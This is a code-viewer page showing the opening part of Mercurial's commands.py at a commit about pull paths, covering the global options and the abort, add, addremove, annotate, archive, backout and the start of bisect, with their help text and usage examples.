##// END OF EJS Templates
path: return path instance directly from get_pull_paths...
marmoute -
r49054:607e9322 default
parent child Browse files
Show More
@@ -1,7968 +1,7971 b''
1 1 # commands.py - command processing for mercurial
2 2 #
3 3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import os
12 12 import re
13 13 import sys
14 14
15 15 from .i18n import _
16 16 from .node import (
17 17 hex,
18 18 nullrev,
19 19 short,
20 20 wdirrev,
21 21 )
22 22 from .pycompat import open
23 23 from . import (
24 24 archival,
25 25 bookmarks,
26 26 bundle2,
27 27 bundlecaches,
28 28 changegroup,
29 29 cmdutil,
30 30 copies,
31 31 debugcommands as debugcommandsmod,
32 32 destutil,
33 33 dirstateguard,
34 34 discovery,
35 35 encoding,
36 36 error,
37 37 exchange,
38 38 extensions,
39 39 filemerge,
40 40 formatter,
41 41 graphmod,
42 42 grep as grepmod,
43 43 hbisect,
44 44 help,
45 45 hg,
46 46 logcmdutil,
47 47 merge as mergemod,
48 48 mergestate as mergestatemod,
49 49 narrowspec,
50 50 obsolete,
51 51 obsutil,
52 52 patch,
53 53 phases,
54 54 pycompat,
55 55 rcutil,
56 56 registrar,
57 57 requirements,
58 58 revsetlang,
59 59 rewriteutil,
60 60 scmutil,
61 61 server,
62 62 shelve as shelvemod,
63 63 state as statemod,
64 64 streamclone,
65 65 tags as tagsmod,
66 66 ui as uimod,
67 67 util,
68 68 verify as verifymod,
69 69 vfs as vfsmod,
70 70 wireprotoserver,
71 71 )
72 72 from .utils import (
73 73 dateutil,
74 74 stringutil,
75 75 urlutil,
76 76 )
77 77
78 78 table = {}
79 79 table.update(debugcommandsmod.command._table)
80 80
81 81 command = registrar.command(table)
82 82 INTENT_READONLY = registrar.INTENT_READONLY
83 83
84 84 # common command options
85 85
86 86 globalopts = [
87 87 (
88 88 b'R',
89 89 b'repository',
90 90 b'',
91 91 _(b'repository root directory or name of overlay bundle file'),
92 92 _(b'REPO'),
93 93 ),
94 94 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
95 95 (
96 96 b'y',
97 97 b'noninteractive',
98 98 None,
99 99 _(
100 100 b'do not prompt, automatically pick the first choice for all prompts'
101 101 ),
102 102 ),
103 103 (b'q', b'quiet', None, _(b'suppress output')),
104 104 (b'v', b'verbose', None, _(b'enable additional output')),
105 105 (
106 106 b'',
107 107 b'color',
108 108 b'',
109 109 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
110 110 # and should not be translated
111 111 _(b"when to colorize (boolean, always, auto, never, or debug)"),
112 112 _(b'TYPE'),
113 113 ),
114 114 (
115 115 b'',
116 116 b'config',
117 117 [],
118 118 _(b'set/override config option (use \'section.name=value\')'),
119 119 _(b'CONFIG'),
120 120 ),
121 121 (b'', b'debug', None, _(b'enable debugging output')),
122 122 (b'', b'debugger', None, _(b'start debugger')),
123 123 (
124 124 b'',
125 125 b'encoding',
126 126 encoding.encoding,
127 127 _(b'set the charset encoding'),
128 128 _(b'ENCODE'),
129 129 ),
130 130 (
131 131 b'',
132 132 b'encodingmode',
133 133 encoding.encodingmode,
134 134 _(b'set the charset encoding mode'),
135 135 _(b'MODE'),
136 136 ),
137 137 (b'', b'traceback', None, _(b'always print a traceback on exception')),
138 138 (b'', b'time', None, _(b'time how long the command takes')),
139 139 (b'', b'profile', None, _(b'print command execution profile')),
140 140 (b'', b'version', None, _(b'output version information and exit')),
141 141 (b'h', b'help', None, _(b'display help and exit')),
142 142 (b'', b'hidden', False, _(b'consider hidden changesets')),
143 143 (
144 144 b'',
145 145 b'pager',
146 146 b'auto',
147 147 _(b"when to paginate (boolean, always, auto, or never)"),
148 148 _(b'TYPE'),
149 149 ),
150 150 ]
151 151
152 152 dryrunopts = cmdutil.dryrunopts
153 153 remoteopts = cmdutil.remoteopts
154 154 walkopts = cmdutil.walkopts
155 155 commitopts = cmdutil.commitopts
156 156 commitopts2 = cmdutil.commitopts2
157 157 commitopts3 = cmdutil.commitopts3
158 158 formatteropts = cmdutil.formatteropts
159 159 templateopts = cmdutil.templateopts
160 160 logopts = cmdutil.logopts
161 161 diffopts = cmdutil.diffopts
162 162 diffwsopts = cmdutil.diffwsopts
163 163 diffopts2 = cmdutil.diffopts2
164 164 mergetoolopts = cmdutil.mergetoolopts
165 165 similarityopts = cmdutil.similarityopts
166 166 subrepoopts = cmdutil.subrepoopts
167 167 debugrevlogopts = cmdutil.debugrevlogopts
168 168
169 169 # Commands start here, listed alphabetically
170 170
171 171
172 172 @command(
173 173 b'abort',
174 174 dryrunopts,
175 175 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
176 176 helpbasic=True,
177 177 )
178 178 def abort(ui, repo, **opts):
179 179 """abort an unfinished operation (EXPERIMENTAL)
180 180
181 181 Aborts a multistep operation like graft, histedit, rebase, merge,
182 182 and unshelve if they are in an unfinished state.
183 183
184 184 use --dry-run/-n to dry run the command.
185 185 """
186 186 dryrun = opts.get('dry_run')
187 187 abortstate = cmdutil.getunfinishedstate(repo)
188 188 if not abortstate:
189 189 raise error.StateError(_(b'no operation in progress'))
190 190 if not abortstate.abortfunc:
191 191 raise error.InputError(
192 192 (
193 193 _(b"%s in progress but does not support 'hg abort'")
194 194 % (abortstate._opname)
195 195 ),
196 196 hint=abortstate.hint(),
197 197 )
198 198 if dryrun:
199 199 ui.status(
200 200 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
201 201 )
202 202 return
203 203 return abortstate.abortfunc(ui, repo)
204 204
205 205
206 206 @command(
207 207 b'add',
208 208 walkopts + subrepoopts + dryrunopts,
209 209 _(b'[OPTION]... [FILE]...'),
210 210 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
211 211 helpbasic=True,
212 212 inferrepo=True,
213 213 )
214 214 def add(ui, repo, *pats, **opts):
215 215 """add the specified files on the next commit
216 216
217 217 Schedule files to be version controlled and added to the
218 218 repository.
219 219
220 220 The files will be added to the repository at the next commit. To
221 221 undo an add before that, see :hg:`forget`.
222 222
223 223 If no names are given, add all files to the repository (except
224 224 files matching ``.hgignore``).
225 225
226 226 .. container:: verbose
227 227
228 228 Examples:
229 229
230 230 - New (unknown) files are added
231 231 automatically by :hg:`add`::
232 232
233 233 $ ls
234 234 foo.c
235 235 $ hg status
236 236 ? foo.c
237 237 $ hg add
238 238 adding foo.c
239 239 $ hg status
240 240 A foo.c
241 241
242 242 - Specific files to be added can be specified::
243 243
244 244 $ ls
245 245 bar.c foo.c
246 246 $ hg status
247 247 ? bar.c
248 248 ? foo.c
249 249 $ hg add bar.c
250 250 $ hg status
251 251 A bar.c
252 252 ? foo.c
253 253
254 254 Returns 0 if all files are successfully added.
255 255 """
256 256
257 257 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
258 258 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
259 259 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
260 260 return rejected and 1 or 0
261 261
262 262
263 263 @command(
264 264 b'addremove',
265 265 similarityopts + subrepoopts + walkopts + dryrunopts,
266 266 _(b'[OPTION]... [FILE]...'),
267 267 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
268 268 inferrepo=True,
269 269 )
270 270 def addremove(ui, repo, *pats, **opts):
271 271 """add all new files, delete all missing files
272 272
273 273 Add all new files and remove all missing files from the
274 274 repository.
275 275
276 276 Unless names are given, new files are ignored if they match any of
277 277 the patterns in ``.hgignore``. As with add, these changes take
278 278 effect at the next commit.
279 279
280 280 Use the -s/--similarity option to detect renamed files. This
281 281 option takes a percentage between 0 (disabled) and 100 (files must
282 282 be identical) as its parameter. With a parameter greater than 0,
283 283 this compares every removed file with every added file and records
284 284 those similar enough as renames. Detecting renamed files this way
285 285 can be expensive. After using this option, :hg:`status -C` can be
286 286 used to check which files were identified as moved or renamed. If
287 287 not specified, -s/--similarity defaults to 100 and only renames of
288 288 identical files are detected.
289 289
290 290 .. container:: verbose
291 291
292 292 Examples:
293 293
294 294 - A number of files (bar.c and foo.c) are new,
295 295 while foobar.c has been removed (without using :hg:`remove`)
296 296 from the repository::
297 297
298 298 $ ls
299 299 bar.c foo.c
300 300 $ hg status
301 301 ! foobar.c
302 302 ? bar.c
303 303 ? foo.c
304 304 $ hg addremove
305 305 adding bar.c
306 306 adding foo.c
307 307 removing foobar.c
308 308 $ hg status
309 309 A bar.c
310 310 A foo.c
311 311 R foobar.c
312 312
313 313 - A file foobar.c was moved to foo.c without using :hg:`rename`.
314 314 Afterwards, it was edited slightly::
315 315
316 316 $ ls
317 317 foo.c
318 318 $ hg status
319 319 ! foobar.c
320 320 ? foo.c
321 321 $ hg addremove --similarity 90
322 322 removing foobar.c
323 323 adding foo.c
324 324 recording removal of foobar.c as rename to foo.c (94% similar)
325 325 $ hg status -C
326 326 A foo.c
327 327 foobar.c
328 328 R foobar.c
329 329
330 330 Returns 0 if all files are successfully added.
331 331 """
332 332 opts = pycompat.byteskwargs(opts)
333 333 if not opts.get(b'similarity'):
334 334 opts[b'similarity'] = b'100'
335 335 matcher = scmutil.match(repo[None], pats, opts)
336 336 relative = scmutil.anypats(pats, opts)
337 337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
338 338 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
339 339
340 340
341 341 @command(
342 342 b'annotate|blame',
343 343 [
344 344 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
345 345 (
346 346 b'',
347 347 b'follow',
348 348 None,
349 349 _(b'follow copies/renames and list the filename (DEPRECATED)'),
350 350 ),
351 351 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
352 352 (b'a', b'text', None, _(b'treat all files as text')),
353 353 (b'u', b'user', None, _(b'list the author (long with -v)')),
354 354 (b'f', b'file', None, _(b'list the filename')),
355 355 (b'd', b'date', None, _(b'list the date (short with -q)')),
356 356 (b'n', b'number', None, _(b'list the revision number (default)')),
357 357 (b'c', b'changeset', None, _(b'list the changeset')),
358 358 (
359 359 b'l',
360 360 b'line-number',
361 361 None,
362 362 _(b'show line number at the first appearance'),
363 363 ),
364 364 (
365 365 b'',
366 366 b'skip',
367 367 [],
368 368 _(b'revset to not display (EXPERIMENTAL)'),
369 369 _(b'REV'),
370 370 ),
371 371 ]
372 372 + diffwsopts
373 373 + walkopts
374 374 + formatteropts,
375 375 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
376 376 helpcategory=command.CATEGORY_FILE_CONTENTS,
377 377 helpbasic=True,
378 378 inferrepo=True,
379 379 )
380 380 def annotate(ui, repo, *pats, **opts):
381 381 """show changeset information by line for each file
382 382
383 383 List changes in files, showing the revision id responsible for
384 384 each line.
385 385
386 386 This command is useful for discovering when a change was made and
387 387 by whom.
388 388
389 389 If you include --file, --user, or --date, the revision number is
390 390 suppressed unless you also include --number.
391 391
392 392 Without the -a/--text option, annotate will avoid processing files
393 393 it detects as binary. With -a, annotate will annotate the file
394 394 anyway, although the results will probably be neither useful
395 395 nor desirable.
396 396
397 397 .. container:: verbose
398 398
399 399 Template:
400 400
401 401 The following keywords are supported in addition to the common template
402 402 keywords and functions. See also :hg:`help templates`.
403 403
404 404 :lines: List of lines with annotation data.
405 405 :path: String. Repository-absolute path of the specified file.
406 406
407 407 And each entry of ``{lines}`` provides the following sub-keywords in
408 408 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
409 409
410 410 :line: String. Line content.
411 411 :lineno: Integer. Line number at that revision.
412 412 :path: String. Repository-absolute path of the file at that revision.
413 413
414 414 See :hg:`help templates.operators` for the list expansion syntax.
415 415
416 416 Returns 0 on success.
417 417 """
418 418 opts = pycompat.byteskwargs(opts)
419 419 if not pats:
420 420 raise error.InputError(
421 421 _(b'at least one filename or pattern is required')
422 422 )
423 423
424 424 if opts.get(b'follow'):
425 425 # --follow is deprecated and now just an alias for -f/--file
426 426 # to mimic the behavior of Mercurial before version 1.5
427 427 opts[b'file'] = True
428 428
429 429 if (
430 430 not opts.get(b'user')
431 431 and not opts.get(b'changeset')
432 432 and not opts.get(b'date')
433 433 and not opts.get(b'file')
434 434 ):
435 435 opts[b'number'] = True
436 436
437 437 linenumber = opts.get(b'line_number') is not None
438 438 if (
439 439 linenumber
440 440 and (not opts.get(b'changeset'))
441 441 and (not opts.get(b'number'))
442 442 ):
443 443 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
444 444
445 445 rev = opts.get(b'rev')
446 446 if rev:
447 447 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
448 448 ctx = logcmdutil.revsingle(repo, rev)
449 449
450 450 ui.pager(b'annotate')
451 451 rootfm = ui.formatter(b'annotate', opts)
452 452 if ui.debugflag:
453 453 shorthex = pycompat.identity
454 454 else:
455 455
456 456 def shorthex(h):
457 457 return h[:12]
458 458
459 459 if ui.quiet:
460 460 datefunc = dateutil.shortdate
461 461 else:
462 462 datefunc = dateutil.datestr
463 463 if ctx.rev() is None:
464 464 if opts.get(b'changeset'):
465 465 # omit "+" suffix which is appended to node hex
466 466 def formatrev(rev):
467 467 if rev == wdirrev:
468 468 return b'%d' % ctx.p1().rev()
469 469 else:
470 470 return b'%d' % rev
471 471
472 472 else:
473 473
474 474 def formatrev(rev):
475 475 if rev == wdirrev:
476 476 return b'%d+' % ctx.p1().rev()
477 477 else:
478 478 return b'%d ' % rev
479 479
480 480 def formathex(h):
481 481 if h == repo.nodeconstants.wdirhex:
482 482 return b'%s+' % shorthex(hex(ctx.p1().node()))
483 483 else:
484 484 return b'%s ' % shorthex(h)
485 485
486 486 else:
487 487 formatrev = b'%d'.__mod__
488 488 formathex = shorthex
489 489
490 490 opmap = [
491 491 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
492 492 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
493 493 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
494 494 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
495 495 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
496 496 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
497 497 ]
498 498 opnamemap = {
499 499 b'rev': b'number',
500 500 b'node': b'changeset',
501 501 b'path': b'file',
502 502 b'lineno': b'line_number',
503 503 }
504 504
505 505 if rootfm.isplain():
506 506
507 507 def makefunc(get, fmt):
508 508 return lambda x: fmt(get(x))
509 509
510 510 else:
511 511
512 512 def makefunc(get, fmt):
513 513 return get
514 514
515 515 datahint = rootfm.datahint()
516 516 funcmap = [
517 517 (makefunc(get, fmt), sep)
518 518 for fn, sep, get, fmt in opmap
519 519 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
520 520 ]
521 521 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
522 522 fields = b' '.join(
523 523 fn
524 524 for fn, sep, get, fmt in opmap
525 525 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
526 526 )
527 527
528 528 def bad(x, y):
529 529 raise error.InputError(b"%s: %s" % (x, y))
530 530
531 531 m = scmutil.match(ctx, pats, opts, badfn=bad)
532 532
533 533 follow = not opts.get(b'no_follow')
534 534 diffopts = patch.difffeatureopts(
535 535 ui, opts, section=b'annotate', whitespace=True
536 536 )
537 537 skiprevs = opts.get(b'skip')
538 538 if skiprevs:
539 539 skiprevs = logcmdutil.revrange(repo, skiprevs)
540 540
541 541 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
542 542 for abs in ctx.walk(m):
543 543 fctx = ctx[abs]
544 544 rootfm.startitem()
545 545 rootfm.data(path=abs)
546 546 if not opts.get(b'text') and fctx.isbinary():
547 547 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
548 548 continue
549 549
550 550 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
551 551 lines = fctx.annotate(
552 552 follow=follow, skiprevs=skiprevs, diffopts=diffopts
553 553 )
554 554 if not lines:
555 555 fm.end()
556 556 continue
557 557 formats = []
558 558 pieces = []
559 559
560 560 for f, sep in funcmap:
561 561 l = [f(n) for n in lines]
562 562 if fm.isplain():
563 563 sizes = [encoding.colwidth(x) for x in l]
564 564 ml = max(sizes)
565 565 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
566 566 else:
567 567 formats.append([b'%s'] * len(l))
568 568 pieces.append(l)
569 569
570 570 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
571 571 fm.startitem()
572 572 fm.context(fctx=n.fctx)
573 573 fm.write(fields, b"".join(f), *p)
574 574 if n.skip:
575 575 fmt = b"* %s"
576 576 else:
577 577 fmt = b": %s"
578 578 fm.write(b'line', fmt, n.text)
579 579
580 580 if not lines[-1].text.endswith(b'\n'):
581 581 fm.plain(b'\n')
582 582 fm.end()
583 583
584 584 rootfm.end()
585 585
586 586
587 587 @command(
588 588 b'archive',
589 589 [
590 590 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
591 591 (
592 592 b'p',
593 593 b'prefix',
594 594 b'',
595 595 _(b'directory prefix for files in archive'),
596 596 _(b'PREFIX'),
597 597 ),
598 598 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
599 599 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
600 600 ]
601 601 + subrepoopts
602 602 + walkopts,
603 603 _(b'[OPTION]... DEST'),
604 604 helpcategory=command.CATEGORY_IMPORT_EXPORT,
605 605 )
606 606 def archive(ui, repo, dest, **opts):
607 607 """create an unversioned archive of a repository revision
608 608
609 609 By default, the revision used is the parent of the working
610 610 directory; use -r/--rev to specify a different revision.
611 611
612 612 The archive type is automatically detected based on file
613 613 extension (to override, use -t/--type).
614 614
615 615 .. container:: verbose
616 616
617 617 Examples:
618 618
619 619 - create a zip file containing the 1.0 release::
620 620
621 621 hg archive -r 1.0 project-1.0.zip
622 622
623 623 - create a tarball excluding .hg files::
624 624
625 625 hg archive project.tar.gz -X ".hg*"
626 626
627 627 Valid types are:
628 628
629 629 :``files``: a directory full of files (default)
630 630 :``tar``: tar archive, uncompressed
631 631 :``tbz2``: tar archive, compressed using bzip2
632 632 :``tgz``: tar archive, compressed using gzip
633 633 :``txz``: tar archive, compressed using lzma (only in Python 3)
634 634 :``uzip``: zip archive, uncompressed
635 635 :``zip``: zip archive, compressed using deflate
636 636
637 637 The exact name of the destination archive or directory is given
638 638 using a format string; see :hg:`help export` for details.
639 639
640 640 Each member added to an archive file has a directory prefix
641 641 prepended. Use -p/--prefix to specify a format string for the
642 642 prefix. The default is the basename of the archive, with suffixes
643 643 removed.
644 644
645 645 Returns 0 on success.
646 646 """
647 647
648 648 opts = pycompat.byteskwargs(opts)
649 649 rev = opts.get(b'rev')
650 650 if rev:
651 651 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
652 652 ctx = logcmdutil.revsingle(repo, rev)
653 653 if not ctx:
654 654 raise error.InputError(
655 655 _(b'no working directory: please specify a revision')
656 656 )
657 657 node = ctx.node()
658 658 dest = cmdutil.makefilename(ctx, dest)
659 659 if os.path.realpath(dest) == repo.root:
660 660 raise error.InputError(_(b'repository root cannot be destination'))
661 661
662 662 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
663 663 prefix = opts.get(b'prefix')
664 664
665 665 if dest == b'-':
666 666 if kind == b'files':
667 667 raise error.InputError(_(b'cannot archive plain files to stdout'))
668 668 dest = cmdutil.makefileobj(ctx, dest)
669 669 if not prefix:
670 670 prefix = os.path.basename(repo.root) + b'-%h'
671 671
672 672 prefix = cmdutil.makefilename(ctx, prefix)
673 673 match = scmutil.match(ctx, [], opts)
674 674 archival.archive(
675 675 repo,
676 676 dest,
677 677 node,
678 678 kind,
679 679 not opts.get(b'no_decode'),
680 680 match,
681 681 prefix,
682 682 subrepos=opts.get(b'subrepos'),
683 683 )
684 684
685 685
686 686 @command(
687 687 b'backout',
688 688 [
689 689 (
690 690 b'',
691 691 b'merge',
692 692 None,
693 693 _(b'merge with old dirstate parent after backout'),
694 694 ),
695 695 (
696 696 b'',
697 697 b'commit',
698 698 None,
699 699 _(b'commit if no conflicts were encountered (DEPRECATED)'),
700 700 ),
701 701 (b'', b'no-commit', None, _(b'do not commit')),
702 702 (
703 703 b'',
704 704 b'parent',
705 705 b'',
706 706 _(b'parent to choose when backing out merge (DEPRECATED)'),
707 707 _(b'REV'),
708 708 ),
709 709 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
710 710 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
711 711 ]
712 712 + mergetoolopts
713 713 + walkopts
714 714 + commitopts
715 715 + commitopts2,
716 716 _(b'[OPTION]... [-r] REV'),
717 717 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
718 718 )
719 719 def backout(ui, repo, node=None, rev=None, **opts):
720 720 """reverse effect of earlier changeset
721 721
722 722 Prepare a new changeset with the effect of REV undone in the
723 723 current working directory. If no conflicts were encountered,
724 724 it will be committed immediately.
725 725
726 726 If REV is the parent of the working directory, then this new changeset
727 727 is committed automatically (unless --no-commit is specified).
728 728
729 729 .. note::
730 730
731 731 :hg:`backout` cannot be used to fix either an unwanted or
732 732 incorrect merge.
733 733
734 734 .. container:: verbose
735 735
736 736 Examples:
737 737
738 738 - Reverse the effect of the parent of the working directory.
739 739 This backout will be committed immediately::
740 740
741 741 hg backout -r .
742 742
743 743 - Reverse the effect of previous bad revision 23::
744 744
745 745 hg backout -r 23
746 746
747 747 - Reverse the effect of previous bad revision 23 and
748 748 leave changes uncommitted::
749 749
750 750 hg backout -r 23 --no-commit
751 751 hg commit -m "Backout revision 23"
752 752
753 753 By default, the pending changeset will have one parent,
754 754 maintaining a linear history. With --merge, the pending
755 755 changeset will instead have two parents: the old parent of the
756 756 working directory and a new child of REV that simply undoes REV.
757 757
758 758 Before version 1.7, the behavior without --merge was equivalent
759 759 to specifying --merge followed by :hg:`update --clean .` to
760 760 cancel the merge and leave the child of REV as a head to be
761 761 merged separately.
762 762
763 763 See :hg:`help dates` for a list of formats valid for -d/--date.
764 764
765 765 See :hg:`help revert` for a way to restore files to the state
766 766 of another revision.
767 767
768 768 Returns 0 on success, 1 if nothing to backout or there are unresolved
769 769 files.
770 770 """
771 771 with repo.wlock(), repo.lock():
772 772 return _dobackout(ui, repo, node, rev, **opts)
773 773
774 774
775 775 def _dobackout(ui, repo, node=None, rev=None, **opts):
776 776 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
777 777 opts = pycompat.byteskwargs(opts)
778 778
779 779 if rev and node:
780 780 raise error.InputError(_(b"please specify just one revision"))
781 781
782 782 if not rev:
783 783 rev = node
784 784
785 785 if not rev:
786 786 raise error.InputError(_(b"please specify a revision to backout"))
787 787
788 788 date = opts.get(b'date')
789 789 if date:
790 790 opts[b'date'] = dateutil.parsedate(date)
791 791
792 792 cmdutil.checkunfinished(repo)
793 793 cmdutil.bailifchanged(repo)
794 794 ctx = logcmdutil.revsingle(repo, rev)
795 795 node = ctx.node()
796 796
797 797 op1, op2 = repo.dirstate.parents()
798 798 if not repo.changelog.isancestor(node, op1):
799 799 raise error.InputError(
800 800 _(b'cannot backout change that is not an ancestor')
801 801 )
802 802
803 803 p1, p2 = repo.changelog.parents(node)
804 804 if p1 == repo.nullid:
805 805 raise error.InputError(_(b'cannot backout a change with no parents'))
806 806 if p2 != repo.nullid:
807 807 if not opts.get(b'parent'):
808 808 raise error.InputError(_(b'cannot backout a merge changeset'))
809 809 p = repo.lookup(opts[b'parent'])
810 810 if p not in (p1, p2):
811 811 raise error.InputError(
812 812 _(b'%s is not a parent of %s') % (short(p), short(node))
813 813 )
814 814 parent = p
815 815 else:
816 816 if opts.get(b'parent'):
817 817 raise error.InputError(
818 818 _(b'cannot use --parent on non-merge changeset')
819 819 )
820 820 parent = p1
821 821
822 822 # the backout should appear on the same branch
823 823 branch = repo.dirstate.branch()
824 824 bheads = repo.branchheads(branch)
825 825 rctx = scmutil.revsingle(repo, hex(parent))
826 826 if not opts.get(b'merge') and op1 != node:
827 827 with dirstateguard.dirstateguard(repo, b'backout'):
828 828 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
829 829 with ui.configoverride(overrides, b'backout'):
830 830 stats = mergemod.back_out(ctx, parent=repo[parent])
831 831 repo.setparents(op1, op2)
832 832 hg._showstats(repo, stats)
833 833 if stats.unresolvedcount:
834 834 repo.ui.status(
835 835 _(b"use 'hg resolve' to retry unresolved file merges\n")
836 836 )
837 837 return 1
838 838 else:
839 839 hg.clean(repo, node, show_stats=False)
840 840 repo.dirstate.setbranch(branch)
841 841 cmdutil.revert(ui, repo, rctx)
842 842
843 843 if opts.get(b'no_commit'):
844 844 msg = _(b"changeset %s backed out, don't forget to commit.\n")
845 845 ui.status(msg % short(node))
846 846 return 0
847 847
848 848 def commitfunc(ui, repo, message, match, opts):
849 849 editform = b'backout'
850 850 e = cmdutil.getcommiteditor(
851 851 editform=editform, **pycompat.strkwargs(opts)
852 852 )
853 853 if not message:
854 854 # we don't translate commit messages
855 855 message = b"Backed out changeset %s" % short(node)
856 856 e = cmdutil.getcommiteditor(edit=True, editform=editform)
857 857 return repo.commit(
858 858 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
859 859 )
860 860
861 861 # save to detect changes
862 862 tip = repo.changelog.tip()
863 863
864 864 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
865 865 if not newnode:
866 866 ui.status(_(b"nothing changed\n"))
867 867 return 1
868 868 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
869 869
870 870 def nice(node):
871 871 return b'%d:%s' % (repo.changelog.rev(node), short(node))
872 872
873 873 ui.status(
874 874 _(b'changeset %s backs out changeset %s\n')
875 875 % (nice(newnode), nice(node))
876 876 )
877 877 if opts.get(b'merge') and op1 != node:
878 878 hg.clean(repo, op1, show_stats=False)
879 879 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
880 880 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
881 881 with ui.configoverride(overrides, b'backout'):
882 882 return hg.merge(repo[b'tip'])
883 883 return 0
884 884
885 885
886 886 @command(
887 887 b'bisect',
888 888 [
889 889 (b'r', b'reset', False, _(b'reset bisect state')),
890 890 (b'g', b'good', False, _(b'mark changeset good')),
891 891 (b'b', b'bad', False, _(b'mark changeset bad')),
892 892 (b's', b'skip', False, _(b'skip testing changeset')),
893 893 (b'e', b'extend', False, _(b'extend the bisect range')),
894 894 (
895 895 b'c',
896 896 b'command',
897 897 b'',
898 898 _(b'use command to check changeset state'),
899 899 _(b'CMD'),
900 900 ),
901 901 (b'U', b'noupdate', False, _(b'do not update to target')),
902 902 ],
903 903 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
904 904 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
905 905 )
906 906 def bisect(
907 907 ui,
908 908 repo,
909 909 positional_1=None,
910 910 positional_2=None,
911 911 command=None,
912 912 reset=None,
913 913 good=None,
914 914 bad=None,
915 915 skip=None,
916 916 extend=None,
917 917 noupdate=None,
918 918 ):
919 919 """subdivision search of changesets
920 920
921 921 This command helps to find changesets which introduce problems. To
922 922 use, mark the earliest changeset you know exhibits the problem as
923 923 bad, then mark the latest changeset which is free from the problem
924 924 as good. Bisect will update your working directory to a revision
925 925 for testing (unless the -U/--noupdate option is specified). Once
926 926 you have performed tests, mark the working directory as good or
927 927 bad, and bisect will either update to another candidate changeset
928 928 or announce that it has found the bad revision.
929 929
930 930 As a shortcut, you can also use the revision argument to mark a
931 931 revision as good or bad without checking it out first.
932 932
933 933 If you supply a command, it will be used for automatic bisection.
934 934 The environment variable HG_NODE will contain the ID of the
935 935 changeset being tested. The exit status of the command will be
936 936 used to mark revisions as good or bad: status 0 means good, 125
937 937 means to skip the revision, 127 (command not found) will abort the
938 938 bisection, and any other non-zero exit status means the revision
939 939 is bad.
940 940
941 941 .. container:: verbose
942 942
943 943 Some examples:
944 944
945 945 - start a bisection with known bad revision 34, and good revision 12::
946 946
947 947 hg bisect --bad 34
948 948 hg bisect --good 12
949 949
950 950 - advance the current bisection by marking current revision as good or
951 951 bad::
952 952
953 953 hg bisect --good
954 954 hg bisect --bad
955 955
956 956 - mark the current revision, or a known revision, to be skipped (e.g. if
957 957 that revision is not usable because of another issue)::
958 958
959 959 hg bisect --skip
960 960 hg bisect --skip 23
961 961
962 962 - skip all revisions that do not touch directories ``foo`` or ``bar``::
963 963
964 964 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
965 965
966 966 - forget the current bisection::
967 967
968 968 hg bisect --reset
969 969
970 970 - use 'make && make tests' to automatically find the first broken
971 971 revision::
972 972
973 973 hg bisect --reset
974 974 hg bisect --bad 34
975 975 hg bisect --good 12
976 976 hg bisect --command "make && make tests"
977 977
978 978 - see all changesets whose states are already known in the current
979 979 bisection::
980 980
981 981 hg log -r "bisect(pruned)"
982 982
983 983 - see the changeset currently being bisected (especially useful
984 984 if running with -U/--noupdate)::
985 985
986 986 hg log -r "bisect(current)"
987 987
988 988 - see all changesets that took part in the current bisection::
989 989
990 990 hg log -r "bisect(range)"
991 991
992 992 - you can even get a nice graph::
993 993
994 994 hg log --graph -r "bisect(range)"
995 995
996 996 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
997 997
998 998 Returns 0 on success.
999 999 """
1000 1000 rev = []
1001 1001 # backward compatibility
1002 1002 if positional_1 in (b"good", b"bad", b"reset", b"init"):
1003 1003 ui.warn(_(b"(use of 'hg bisect <cmd>' is deprecated)\n"))
1004 1004 cmd = positional_1
1005 1005 rev.append(positional_2)
